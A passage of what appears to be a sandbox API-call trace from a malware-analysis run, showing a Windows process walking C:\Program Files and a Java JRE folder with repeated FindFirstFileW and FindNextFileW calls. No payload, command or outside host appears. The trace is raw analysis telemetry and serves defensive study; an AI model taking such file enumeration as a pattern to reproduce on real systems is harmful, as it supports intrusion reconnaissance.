ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e68d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1 [0068.757] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3f4087, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3f4087, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0068.757] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x41a05b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x41a05b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0068.757] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x1300c61, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1300c61, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0068.757] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa73e1bbd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8390c831, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rempl", cAlternateFileName="")) returned 1 [0068.757] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x132704c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x132704c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0068.760] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3f4087, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3f4087, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1 [0068.760] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x440505, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x440505, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0068.760] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x41a05b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x41a05b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0068.760] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0068.760] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1300c61, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1300c61, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0068.760] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4665f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4665f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0068.760] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0068.761] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0068.761] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0068.761] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1 [0068.761] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3f4087, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3f4087, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0068.761] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0068.761] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0068.761] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.762] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49e5f0) returned 1 [0068.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49e5b0) returned 1 [0068.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49dc80) returned 1 [0068.762] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java", nBufferLength=0x105, lpBuffer=0x1f49d720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java", lpFilePart=0x0) returned 0x15 [0068.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\*", lpFindFileData=0x1f49d9a0 | out: lpFindFileData=0x1f49d9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.762] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49d960 | out: lpFindFileData=0x1f49d960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.763] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49d960 | out: lpFindFileData=0x1f49d960*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 1 [0068.763] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49d960 | out: lpFindFileData=0x1f49d960*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 0 [0068.763] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49dbc0) returned 1 [0068.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49db80) returned 1 [0068.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49dc80) returned 1 [0068.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java", nBufferLength=0x105, lpBuffer=0x1f49d720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java", lpFilePart=0x0) returned 0x15 [0068.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\*", lpFindFileData=0x1f49d9a0 | out: lpFindFileData=0x1f49d9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.763] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49d960 | out: lpFindFileData=0x1f49d960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.763] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49d960 | out: lpFindFileData=0x1f49d960*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 1 [0068.764] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49d960 | out: lpFindFileData=0x1f49d960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.764] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49dbc0) returned 1 [0068.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49db80) returned 1 [0068.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49d250) returned 1 [0068.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144", nBufferLength=0x105, lpBuffer=0x1f49ccf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144", lpFilePart=0x0) returned 0x22 [0068.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0x1f49cf70 | out: lpFindFileData=0x1f49cf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.765] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.765] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0068.765] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0068.765] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1 [0068.766] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0068.766] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0068.766] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0068.766] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0068.766] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1 [0068.766] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1 [0068.766] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.766] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49d190) returned 1 [0068.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49d150) returned 1 [0068.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49d250) returned 1 [0068.767] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144", nBufferLength=0x105, lpBuffer=0x1f49ccf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144", lpFilePart=0x0) returned 0x22 [0068.767] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0x1f49cf70 | out: lpFindFileData=0x1f49cf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.767] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.767] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, 